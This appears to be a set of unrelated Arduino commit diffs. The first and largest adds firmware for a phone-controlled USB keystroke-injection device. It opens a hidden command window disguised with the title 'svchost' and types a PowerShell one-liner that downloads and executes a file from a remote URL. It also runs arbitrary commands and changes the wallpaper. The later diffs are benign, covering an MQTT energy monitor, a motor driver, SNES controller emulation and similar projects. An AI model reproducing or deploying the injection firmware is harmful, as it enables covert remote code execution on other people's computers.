+          if(StrStartsWith(inSerial, "MM:") && StrEndsWith(inSerial, ",end")){if(LOG_SERIAL){Serial.println(inSerial);} inSerial[i]='\0'; MyFuncMouseMove(inSerial);i = 0;}//MM:L,U,3,1,end (mouse movement)
+        }
+        previousByteRec = lastByteRec;
+      }
+    }
+
+    inSerial[i]='\0';
+    if(LOG_SERIAL){Serial.write(inSerial);} //it's useful for checking what text arduino receives from android but it makes the mouse movement laggy if the serial monitor is closed
+    Serial.write("\n");
+
+    Check_Protocol(inSerial);
+  }
+}
+
+void MyFuncMouseMove(char *inStr)
+{
+  char x;
+  char y;
+
+  //MM:L,U,FF,FF,end
+  char strValBuff[3]={inStr[7],inStr[8],'\0'};
+  x = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
+
+  strValBuff[0]=inStr[10];
+  strValBuff[1]=inStr[11];
+  y = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
+
+ //MM:L,U,FF,FF,end //left/right, up/down, horizontal value, vertical value
+  if(inStr[3] == 'L'){x = x * -1;}
+  if(inStr[5] == 'D'){y = y * -1;}
+
+  if(LOG_SERIAL){Serial.print("    x="); Serial.print((byte)x);Serial.print(", y=");Serial.print((byte)y);Serial.print("\n");}
+  Mouse.move(x, y, 0);
+
+  for(byte i=0;i<strlen(inStr);i++){inStr[i]=0;}
+}
+
+void typeKey(int key)
+{
+  Keyboard.press(key);
+  delay(50);
+  Keyboard.release(key);
+}
+
+void openRun()
+{
+  Keyboard.press(KEY_LEFT_GUI);
+  delay(200);
+  Keyboard.press('r');
+  delay(200);
+  Keyboard.releaseAll();
+  delay(700);
+}
+
+void openCmd()
+{
+  openRun();
+  Print("cmd");
+  typeKey(KEY_RETURN);
+}
+
+void EnterCommand(char *text)
+{
+  Print(text);
+  delay(10);
+  typeKey(KEY_RETURN);
+}
+
+void Check_Protocol(char *inStr)
+{
+  if(!strcmp(inStr,"Enter"))
+  {
+    typeKey(KEY_RETURN);
+  }
+
+  if(!strcmp(inStr,"Alt+F4"))
+  {
+    Keyboard.press(KEY_LEFT_ALT);
+    delay(10);
+    Keyboard.press(KEY_F4);
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"Increase font size"))
+  {
+    Keyboard.press(KEY_LEFT_CTRL);
+    delay(10);
+    Keyboard.press(KEY_LEFT_SHIFT);
+    delay(10);
+    Keyboard.press('>');
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"Decrease font size"))
+  {
+    Keyboard.press(KEY_LEFT_CTRL);
+    delay(10);
+    Keyboard.press(KEY_LEFT_SHIFT);
+    delay(10);
+    Keyboard.press('<');
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"Select all"))
+  {
+    Keyboard.press(KEY_LEFT_CTRL);
+    delay(10);
+    Keyboard.press('a');
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"Bold"))
+  {
+    Keyboard.press(KEY_LEFT_CTRL);
+    delay(10);
+    Keyboard.press('b');
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"Underline"))
+  {
+    Keyboard.press(KEY_LEFT_CTRL);
+    delay(10);
+    Keyboard.press('u');
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"click"))
+  {
+    Mouse.click();
+  }
+
+  if(StrStartsWith(inStr, "DE:") && StrContains(inStr, ",type:") && StrEndsWith(inStr, ",end")) //DE:t,type:est,end (download and execute)
+  {
+    byte indexType = SubStrIndex(inStr, ",type:"); //trying to get the position where link is ending and the file type begins
+    byte indexEnd = SubStrIndex(inStr, ",end"); //trying to get the position where the file type ends (to know its length)
+
+    char fileFormat[10];
+    byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
+    for(byte i=0;i<=typeLen;i++)
+    {
+      fileFormat[i] = inStr[i+indexType+strlen(",type:")];
+
+      if(i == typeLen){fileFormat[i] = '\0';}
+    }
+
+    for(byte i=0;i<=indexType-3;i++)//indexType - 3 which is "DE:" + 1
+    {
+      inStr[i] = inStr[i+3];
+
+      if(i == indexType-3){inStr[i] = '\0';}
+    }
+
+    openCmd(); //("powershell Start-Process cmd -Verb runAs");
+    delay(500);
+    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
+
+    Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
+    Print(inStr);
+    Print("'; $file = 'downloadedfile.");
+    Print(fileFormat);
+    Print("'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;\" & exit");
+    typeKey(KEY_RETURN);
+  }
+
+
+  if(StrStartsWith(inStr, "YT:") && StrEndsWith(inStr, ",end")) //YT:t,end (Youtube)
+  {
+    ExtractDeliveredText(inStr, 3);
+
+    openRun();
+    //Print("www.youtube.com/embed/2Z4m4lnjxkY?rel=0&autoplay=1"); //trololo 2Z4m4lnjxkY
+    Print("www.youtube.com/embed/");
+    Print(inStr);
+    Print("?rel=0&autoplay=1");
+    typeKey(KEY_RETURN);
+  }
+
+  if(StrStartsWith(inStr, "YTB:") && StrEndsWith(inStr, ",end"))//youtube control buttons
+  {
+    ExtractDeliveredText(inStr, 4);
+    if(StrContains(inStr, "PP")){Print(" ");}//pause/play
+    else if(StrContains(inStr, "F5")){Keyboard.press(KEY_RIGHT_ARROW);}//forward 5s // change inc/vol to 10 sec if it doesn't work and use Print("l/j")
+    else if(StrContains(inStr, "B5")){Keyboard.press(KEY_LEFT_ARROW);}//backward 5s
+    else if(StrContains(inStr, "GB")){Keyboard.press(KEY_HOME);}//go to begining
+    else if(StrContains(inStr, "GE")){Keyboard.press(KEY_END);}//go to end
+    else if(StrContains(inStr, "CA")){Print("c");}//captions tog
+    else if(StrContains(inStr, "IS")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print(">");}//increase speed (may not work in all browsers)
+    else if(StrContains(inStr, "DS")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("<");}//decrease speed
+    else if(StrContains(inStr, "IV")){Keyboard.press(KEY_UP_ARROW);}//increase vol
+    else if(StrContains(inStr, "DV")){Keyboard.press(KEY_DOWN_ARROW);}//decrease vol
+    else if(StrContains(inStr, "PV")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("p");}//previous video (in a playlist)
+    else if(StrContains(inStr, "NV")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("n");}//next video
+    else if(StrContains(inStr, "FS")){Print("f");}//full screen tog
+    else if(StrContains(inStr, "F11")){Keyboard.press(KEY_F11);}//full screen browser tog
+    delay (70);
+    Keyboard.releaseAll();
+  }
+
+  if(StrStartsWith(inStr, "WS:") && StrEndsWith(inStr, ",end")) //WS:t,end (website)
+  {
+    ExtractDeliveredText(inStr, 3);
+
+    openRun();
+    Print(inStr);
+    typeKey(KEY_RETURN);
+  }
+
+  if(StrStartsWith(inStr, "EP:") && StrEndsWith(inStr, ",end")) //EP:t,end (execute program)
+  {
+    ExtractDeliveredText(inStr, 3);
+
+    openRun();
+    Print(inStr);
+    delay(100);
+    typeKey(KEY_RETURN);
+  }
+
+  if(StrStartsWith(inStr, "EC:") && StrEndsWith(inStr, ",end")) //EC:t,end (execute command)
+  {
+    ExtractDeliveredText(inStr, 3);
+
+    openCmd();
+    delay(500);
+    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
+    Print(inStr);
+    if(StrStartsWith(inStr, "cd \"%USERPROFILE%\\Desktop\" & FOR")){typeKey(KEY_RETURN); delay(50); Print("echo a");} //exception for a command which creates multiple files (otherwise only one file would be created, echo a is added because command " & exit" wouldn't close the window without something preceding it
+
+    Print(" & exit");
+    typeKey(KEY_RETURN);
+    delay(100);
+  }
+
+  if(StrStartsWith(inStr ,"PT:") && StrEndsWith(inStr, ",end")) //(direct text instruction)
+  {
+    ExtractDeliveredText(inStr, 3);
+    Print(inStr);
+  }
+
+  if(StrStartsWith(inStr ,"TE:") && StrEndsWith(inStr, ",end")) //(direct text instruction but with enter at the end )
+  {
+    ExtractDeliveredText(inStr, 3);
+    Print(inStr);
+    delay(20);
+    Keyboard.press(KEY_RETURN);
+    delay(20);
+    Keyboard.release(KEY_RETURN);
+  }
+
+  if(StrStartsWith(inStr, "SW:") && StrContains(inStr, ",type:") && StrEndsWith(inStr, ",end")) //SW:t,type:est,end (download and set as a wallpaper)
+  {
+    byte indexType = SubStrIndex(inStr, ",type:"); //trying to get the position where link is ending and the file type begins
+    byte indexEnd = SubStrIndex(inStr, ",end"); //trying to get the position where the file type ends (to know its length)
+
+    char fileFormat[10];
+    byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
+    for(byte i=0;i<=typeLen;i++)
+    {
+      fileFormat[i] = inStr[i+indexType+strlen(",type:")];
+
+      if(i == typeLen){fileFormat[i] = '\0';}
+    }
+
+    for(byte i=0;i<=indexType-3;i++)//indexType - 3 which is "SW:" + 1
+    {
+      inStr[i] = inStr[i+3];
+
+      if(i == indexType-3){inStr[i] = '\0';}
+    }
+
+    openCmd(); //("powershell Start-Process cmd -Verb runAs");
+    delay(500);
+    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
+
+    Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
+    Print(inStr);
+    Print("'; $file = 'downloadedfile.");
+    Print(fileFormat);
+    Print("'; $down.DownloadFile($url,$file); exit;\" & reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d C:\\Users\\%USERNAME%\\downloadedfile.");
+    Print(fileFormat);
+    Print(" /f & RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters & exit");
+    typeKey(KEY_RETURN);
+  }
+
+  for(byte i=0;i<MAX_SERIAL_LENGTH;i++){inStr[i]=0;}
+}
+
+
+void ExtractDeliveredText(char *inStr, byte ignoredStartingChars) //gets rid of the first 3 chars (e.g. "YT:") and the ",end" (it assumes that every message received ends with ",end", if the message would end like ",ending" the function won't work properly without adding additional parameter, somthing like: "byte ignoredEndingChars")
+{
+  byte len = SubStrIndex(inStr, ",end") - ignoredStartingChars;
+
+  for(byte i=0;i<=len;i++)
+  {
+    inStr[i] = inStr[i+ignoredStartingChars];
+    if(i == len)
+    {
+      inStr[i] = '\0';
+    }
+  }
+}
+
+int SubStrIndex(char *str, char *sfind)
+{
+    byte found = 0;
+    byte index = 0;
+    byte len = strlen(str);
+
+    if (strlen(sfind) > len)
+    {
+        return 0;
+    }
+
+    while (index < len)
+    {
+        if (str[index] == sfind[found])
+        {
+            found++;
+            if (strlen(sfind) == found)
+            {
+                index = index - strlen(sfind) + 1;
+                return index;
+            }
+        }
+        else{found = 0;}
+
+        index++;
+    }
+
+    return 0;
+}
+
+bool StrContains(char *str, char *sfind)
+{
+    byte found = 0;
+    byte index = 0;
+    byte len;
+
+    len = strlen(str);
+
+    if (strlen(sfind) > len) {return false;}
+
+    while (index < len)
+    {
+        if (str[index] == sfind[found])
+        {
+            found++;
+            if (strlen(sfind) == found) {return true;}
+        }
+        else {found = 0;}
+
+        index++;
+    }
+
+    return false;
+}
+
+bool StrStartsWith(char* str, char* desiredStart)
+{
+  if(strlen(desiredStart)>strlen(str)){return false;}
+
+  byte matching = 0;
+  for(byte i=0; i < strlen(desiredStart); i++)
+    if(str[i] == desiredStart[i])
+      matching++;
+
+  if(matching == strlen(desiredStart))
+    return true;
+
+  return false;
+}
+
+bool StrEndsWith(char* str, char* desiredEnd)
+{
+  if(strlen(desiredEnd)>strlen(str))
+  {
+    return false;
+  }
+  byte matching = 0;
+  byte desiredEndLen = strlen(desiredEnd);
+  byte baseStrLen = strlen(str);
+  for(byte i=0;i<strlen(desiredEnd);i++)
+  {
+    if(str[baseStrLen - desiredEndLen + i] == desiredEnd[i]){matching++;}
+  }
+
+  if(matching == desiredEndLen){return true;}
+
+  return false;
+}
+
+
+void Print(char *inStr)
+{
+  Print_WinMultiLangCHAR_PTR(inStr);
+
+  return;
+}
+
+int GetKeyIndex(byte c, byte* char_array)
+{
+  for(byte i=0;i<strlen(char_array);i++)
+  {
+    if(c == char_array[i])
+    {
+      return i;
+    }
+  }
+  return 256;
+}
+
+
+void Print_WinMultiLangCHAR_PTR(char *inStr)
+{
+  for(byte i=0; i<strlen(inStr); i++)//for each character in the string
+  {
+    byte hundreds = (byte)inStr[i] / 100;
+    byte dozens = ((byte)inStr[i] - (hundreds*100)) / 10;
+    byte singles = (byte)inStr[i] - (hundreds*100) - (dozens*10);
+
+    Keyboard.press(KEY_LEFT_ALT);
+    PressRelease((char)KEYPAD[hundreds], 5);
+    PressRelease((char)KEYPAD[dozens], 5);
+    PressRelease((char)KEYPAD[singles], 5);
+    Keyboard.releaseAll();
+  }
+}
+
+void Print_WinMultiLangSTR(String inStr)
+{
+  for(byte i=0; i<inStr.length(); i++)//for each character in the string
+  {
+    byte hundreds = (byte)inStr.charAt(i) / 100;
+    byte dozens = ((byte)inStr.charAt(i) - (hundreds*100)) / 10;
+    byte singles = (byte)inStr.charAt(i) - (hundreds*100) - (dozens*10);
+
+    Keyboard.press(KEY_LEFT_ALT);
+    PressRelease((char)KEYPAD[hundreds], 5);
+    PressRelease((char)KEYPAD[dozens], 5);
+    PressRelease((char)KEYPAD[singles], 5);
+    Keyboard.releaseAll();
+  }
+}
+
+void PressRelease(char c, byte timeDelay)
+{
+  Keyboard.press(c);
+  delay(timeDelay);
+  Keyboard.release(c);
+}
+
+
+
+
+
+
+


report ct data

report ct data

--- _49-emontxv2-esp-01-i2c/esp-01/esp-01.ino
+++ _49-emontxv2-esp-01-i2c/esp-01/esp-01.ino
@@ -68,6 +68,7 @@

 //
 volatile bool bdata_is_rdy;
+uint32_t _salt;
 bool bdoor_status;
 bool ResetInfo = false;
 long lastReconnectAttempt = 0;
@@ -107,23 +108,19 @@

   if (client.publish(topictosend, p, msg_length, 1)) {
     /*
-      if (DEBUG_PRINT) {
       syslogPayload = topictosend;
       syslogPayload += " - ";
       syslogPayload += payload;
       syslogPayload += " : Publish ok";
       sendUdpSyslog(syslogPayload);
-      }
     */
     free(p);
   } else {
-    if (DEBUG_PRINT) {
-      syslogPayload = topictosend;
-      syslogPayload += " - ";
-      syslogPayload += payload;
-      syslogPayload += " : Publish fail";
-      sendUdpSyslog(syslogPayload);
-    }
+    syslogPayload = topictosend;
+    syslogPayload += " - ";
+    syslogPayload += payload;
+    syslogPayload += " : Publish fail";
+    sendUdpSyslog(syslogPayload);
     free(p);
   }
   client.loop();
@@ -137,12 +134,11 @@
     receivedpayload += (char)inpayload[i];
   }

-  if (DEBUG_PRINT) {
-    syslogPayload = intopic;
-    syslogPayload += " ====> ";
-    syslogPayload += receivedpayload;
-    sendUdpSyslog(syslogPayload);
-  }
+  syslogPayload = intopic;
+  syslogPayload += " ====> ";
+  syslogPayload += receivedpayload;
+  sendUdpSyslog(syslogPayload);
+

   if ( receivedpayload == "{\"DOOR\":\"CHECKING\"}") {

@@ -169,15 +165,11 @@
         client.publish(hellotopic, "hello again 1 from esp-power");
       }
       client.subscribe(subtopic);
-      if (DEBUG_PRINT) {
-        sendUdpSyslog("---> mqttconnected");
-      }
+      sendUdpSyslog("---> mqttconnected");
     } else {
-      if (DEBUG_PRINT) {
-        syslogPayload = "failed, rc=";
-        syslogPayload += client.state();
-        sendUdpSyslog(syslogPayload);
-      }
+      syslogPayload = "failed, rc=";
+      syslogPayload += client.state();
+      sendUdpSyslog(syslogPayload);
     }
   }
   client.loop();
@@ -275,6 +267,7 @@
   }
   get_i2c_data();
   bdoor_status = sensor_data.door;
+  _salt = sensor_data._salt;

   //
   getResetInfo = "hello from esp-emontxv2 ";
@@ -329,11 +322,11 @@
     }

     if (!client.connected()) {
-      if (DEBUG_PRINT) {
-        syslogPayload = "failed, rc= ";
-        syslogPayload += client.state();
-        sendUdpSyslog(syslogPayload);
-      }
+      syslogPayload = "failed, rc= ";
+      syslogPayload += client.state();
+      sendUdpSyslog(syslogPayload);
+
+
       unsigned long now = millis();
       if (now - lastReconnectAttempt > 200) {
         lastReconnectAttempt = now;
@@ -354,6 +347,33 @@
         sendmqttMsg(doortopic, doorpayload);
         bdoor_status = sensor_data.door;
       }
+
+      if (_salt != sensor_data._salt) {
+        payload = "{\"_salt\":";
+        payload += sensor_data._salt;
+        payload += ",\"pls_no\":";
+        payload += sensor_data.pls_no;
+        payload += ",\"pls_time\":";
+        payload += sensor_data.pls_wh;
+        payload += ",\"ct1\":";
+        payload += sensor_data.ct1_wh;
+        payload += ",\"ct2\":";
+        payload += sensor_data.ct2_wh;
+        payload += ",\"ct3\":";
+        payload += sensor_data.ct3_wh;
+        payload += ",\"powerAvg\":";
+        payload += (( sensor_data.ct2_wh + sensor_data.ct3_wh ) / 2) ;
+        payload += ",\"FreeHeap\":";
+        payload += ESP.getFreeHeap();
+        payload += ",\"RSSI\":";
+        payload += WiFi.RSSI();
+        payload += ",\"millis\":";
+        payload += millis();
+        payload += "}";
+
+        sendmqttMsg(topic, payload);
+        _salt = sensor_data._salt;
+      }
       client.loop();
     }
     ArduinoOTA.handle();


Added some debug prints

Added some debug prints

--- src/SabertoothDriverROS/SabertoothDriverROS.ino
+++ src/SabertoothDriverROS/SabertoothDriverROS.ino
@@ -41,6 +41,7 @@
 // If true, we should override motor drive velocity with rotation velocity.
 bool currentlyRotating = false;
 bool currentlyDriving = false;
+bool currentlyStopped = false;

 const int ARTICULATION_OFFSET = 6;
 // How long should we drive for (milliseconds)?
@@ -57,8 +58,24 @@

 void newManualCommandCallback(const command2ros::ManualCommand& nmc)
 {
+  char* error = "received command";
+  msg.data = error;
+  pubResults.publish(&msg);
+
   // TODO: Update wheel status info. Determine if we need to rotate.
   currentlyRotating = currentlyRotating || updateTargetWheelStatus(nmc);
+  if(currentlyRotating)
+  {
+    char* error = "currentlyRotating is TRUE.";
+    msg.data = error;
+    pubResults.publish(&msg);
+  }
+  else
+  {
+    char* error = "currentlyRotating is FALSE.";
+    msg.data = error;
+    pubResults.publish(&msg);
+  }
   driveTimeMillis = (long)(nmc.drive_duration * 1000);
   emergencyStop = nmc.e_stop;
 }
@@ -131,7 +148,7 @@
 void continueDriving(){
   // Short-circuit on EStop!
   if(emergencyStop)
-  {
+  {
     stopAllMotors();
     // short-circuit
     return;
@@ -180,7 +197,7 @@
     {
       driveCounterclockwise(0, motorIDX + ARTICULATION_OFFSET);
       driveCounterclockwise(0, motorIDX);
-
+
       char* error = "Stopping motor: X";
       error[16] = '0'+motorIDX;
       msg.data = error;
@@ -194,6 +211,7 @@
       if(!currentlyMoving[motorIDX])
       {
         char* error = "Starting motor: X";
+        currentlyStopped = false;
         error[16] = '0'+motorIDX;
         msg.data = error;
         pubResults.publish(&msg);
@@ -209,6 +227,7 @@
       if(!currentlyMoving[motorIDX])
       {
         char* error = "Starting motor: X";
+        currentlyStopped = false;
         error[16] = '0'+motorIDX;
         msg.data = error;
         pubResults.publish(&msg);
@@ -235,10 +254,16 @@
 // A function that tells all motors to stop moving.
 void stopAllMotors()
 {
-  // send stop-driving commands to all motors
-  for(int i = 0; i < 12; ++i)
-  {
-    driveClockwise(0,i);
+  if (!currentlyStopped) {
+    currentlyStopped = true;
+    // send stop-driving commands to all motors
+    for(int i = 0; i < 12; ++i)
+    {
+      driveClockwise(0,i);
+    }
+    char* error = "Stopping all motors.";
+    msg.data = error;
+    pubResults.publish(&msg);
   }
 }

@@ -265,6 +290,7 @@
   Serial3.write(command);
   Serial3.write(speed);
   Serial3.write(checksum);
+  delayMicroseconds(1000);
 }

 // Function to drive a specific motor backwards.
@@ -277,6 +303,7 @@
   Serial3.write(command);
   Serial3.write(speed);
   Serial3.write(checksum);
+  delayMicroseconds(1000);
 }

 // This node handle represents this arduino.
@@ -369,8 +396,9 @@
   updateArticulationValues();
   continueDriving();
   // TODO: Delete this?
-//  msg.data = (long)currentWheelStatus[FRONT_LEFT_DRIVE_MOTOR_ID].orientation;
-//  pubResults.publish(&msg);
-
-}
-
+  //  msg.data = (long)currentWheelStatus[FRONT_LEFT_DRIVE_MOTOR_ID].orientation;
+  //  pubResults.publish(&msg);
+
+}
+
+


Changed some of the comments

Changed some of the comments

Including removing a comment that makes no sense to anyone else without
context.

--- Arduino/SNES_4021_Emulation/SNES_4021_Emulation.ino
+++ Arduino/SNES_4021_Emulation/SNES_4021_Emulation.ino
@@ -57,7 +57,7 @@
 }

 void latching(){
-    saveddata = ~(serialData1 << 8| serialData2); //Moved it here. Haven't tested because I'm lazy, we'll see.
+    saveddata = ~(serialData1 << 8| serialData2);
     if(saveddata & 1) WRITE_DATA_HIGH;
     else WRITE_DATA_LOW;
     saveddata = saveddata >> 1;
@@ -66,6 +66,7 @@
 }

 void clocking(){ //This is somehow fast enough for a lot of games.
+  //Write the least significant bit to the data line, then shift it.
   if(saveddata & 1) WRITE_DATA_HIGH;
   else WRITE_DATA_LOW;
   saveddata = saveddata >> 1;


Code cleanup

Code cleanup

--- netzfrequenz.ino
+++ netzfrequenz.ino
@@ -1,10 +1,14 @@
 /**
-  *
+  * Bestimmung der Netzfrequenz
+  * Copyright 2015 by Ralf Th. Pietsch <ratopi@abwesend.de>
+  * LICENSE: MIT
   */

 #define PROBE_COUNT 50
 #define MICROS 1000000.
 #define KORREKTUR 1.001341341
+
+#define DEBUG 0

 int min;
 int max;
@@ -48,17 +52,20 @@
   }
   end = micros();
   freq = ( ( PROBE_COUNT * MICROS * KORREKTUR ) / ( end - start ) );
-  Serial.print( min );
-  Serial.print( " " );
-  Serial.print( max );
-  Serial.print( " " );
+  if ( DEBUG )
+  {
+    Serial.print( min );
+    Serial.print( " " );
+    Serial.print( max );
+    Serial.print( " " );
+  }
   Serial.println( freq, 3 );
 }

 void period()
 {
-  while ( analogReadPlus() > 50 ); // myDelay();
-  while ( analogReadPlus() < 100 ); // myDelay();
+  while ( analogReadPlus() > 50 );
+  while ( analogReadPlus() < 100 );
 }

 int analogReadPlus()
@@ -71,8 +78,3 @@
   return val;
 }

-void myDelay()
-{
-  for ( j = 0; j < 10000; j++ );
-}
-


Use F() in send()

Use F() in send()

--- examples/EtherEventExample2/EtherEventExample2.ino
+++ examples/EtherEventExample2/EtherEventExample2.ino
@@ -74,7 +74,7 @@
   if (millis() - sendTimeStamp > queueEventInterval) { //periodically send event
     sendTimeStamp = millis(); //reset the timestamp for the next event send
     Serial.println(F("Attempting event send"));
-    if (EtherEvent.send(ethernetClient, sendIP, sendPort, "123", "test payload")) { //send event to target IP address, port, event, payload
+    if (EtherEvent.send(ethernetClient, sendIP, sendPort, F("123"), 3, F("test payload"), 12)) { //send event to target IP address, port, event, payload
       Serial.println(F("Event send successful"));
     }
     else {


Fix for Raceband 5

Fix for Raceband 5

Update for the channelTable for raceband 5


Delete R_ANATOR.ino

Delete R_ANATOR.ino

--- BMS_Francais/Examples/R_ANATOR-Arduino/R_ANATOR.ino
+++ BMS_Francais/Examples/R_ANATOR-Arduino/R_ANATOR.ino
@@ -1,53 +0,0 @@
-/*-------------------------------------------------------------------------------------------------------------------------------------------*
- * SE2R : R_ANATOR - Fonction de transformation d'un pourcentage en commande PWM                                                  25/06/2015 *
- * ------------------------------------------------------------------------------------------------------------------------------------------*
- *        R_ANATOR(float VPC, int VTC[], int VNO, int CFG)                                                                        25/06/2015 *
- *                VPC : Signal de commande de régulation à convertir                                                                         *
- *                VTC : [00] : Durée totale de la pleine course de l'actionneur (s)                                                          *
- *                      [01] : Calcul du temps de cycle automate (s)                                                                         *
- *                      [02] : Compteur de durée depuis la dernière exécution de la fonction (s)                                             *
- *                      [03] : Mémoire des millis() de la dernière exécution de la fonction                                                  *
- *                      [04] : Durée de l'action sur les sorties pour le cycle d'exécution en cours                                          *
- *                VNC : Numéro de la voie de la sortie de commande d'ouverture  de l'actionneur PWM                                          *
- *                CFG : Commande de forçage.                                                                                *
- *                      <0 : VPC[0] maintenu à 0                                                                                *
- *                      0  : VPC[0] figé dans sa dernière valeur connue                                                                      *
- *                      1  : VPC[0] est fixé par le calcul de régulation PID                                                                 *
- *                      2  : VPC[0] maintenue à VPC[3]                                                                                *
- *                      3  : VPC[0] maintenue à 100                                                                                *
- *                      >3 : VPC[0] maintenu à 0                                                                                *
- *       Interne  NUM : [00] : Mémoire dans l'exécution de l'écart du cycle précédent                                                        *
- *                      [01] : Mémoire dans l'exécution de la variation d'écart du cycle précédent                                           *
- *                      [02] : Mémoire dans l'exécution de la variation d'écart du cycle précédent                                           *
- *-------------------------------------------------------------------------------------------------------------------------------------------*
- * Copyright SE2R under the APACHE Licence                                                                                *
- *-------------------------------------------------------------------------------------------------------------------------------------------*
- * Plate-formes testées : Arduino Leonardo, Arduino Uno, Industruino                                                                         *
- * ------------------------------------------------------------------------------------------------------------------------------------------*
- * 25/06/2015 : DD, SE2R : Testée et validée sur banc                                                                                *
- * ------------------------------------------------------------------------------------------------------------------------------------------*/
-
-// Déclaration des bibliothèques nécessaires à l'exécution du programme ---------------------------------------------------------------------*
-#include <BMS.h>                         // Biblio   - SE2R - Fonctions BMS
-BMS BMS;
-
-// Déclaration des variables nécessaires à l'exécution du programme -------------------------------------------------------------------------*
-float VPC_XXXX;                          // R_ANATOR - Table des commandes
-float VTC_XXXX[5];                       // R_ANATOR - Table des temporisations
-int VNC_VANN;                            // R_ANATOR - Numéro de voie de la sortie de commande de 'actionneur PWM
-int VCO_XXXX;                            // R_ANATOR - Commande de forçage, ici en position auto
-void setup() {                           // Initialisation ----------------------------------------------------------------------------------*
-  VTC_XXXX[0] = 60;                      // R_ANATOR - Durée de la course complète de la vanne
-  VCO_XXXX = 1;                          // R_ANATOR - Commande de forçage
-  pinMode(7, OUTPUT);                    // Système  - Affectation de la voie 07 en tant que sortie de commande 1
-  Serial.begin(9600);                    // Port COM - Paramétrage du port série
-}
-void loop() {                            // Exécution ---------------------------------------------------------------------------------------*
-  VPC_XXXX = analogRead(0) / 10.23;                                              // Lecture 0-100% de l'entrée analogique 0
-  BMS.R_ANATOR(VPC_XXXX, VTC_XXXX, 7, VCO_XXXX);
-  Serial.print(VTC_XXXX[2]);
-  Serial.print("\t");
-  Serial.print(VTC_XXXX[4]);
-  Serial.print("\t");
-  Serial.println(VPC_XXXX);
-}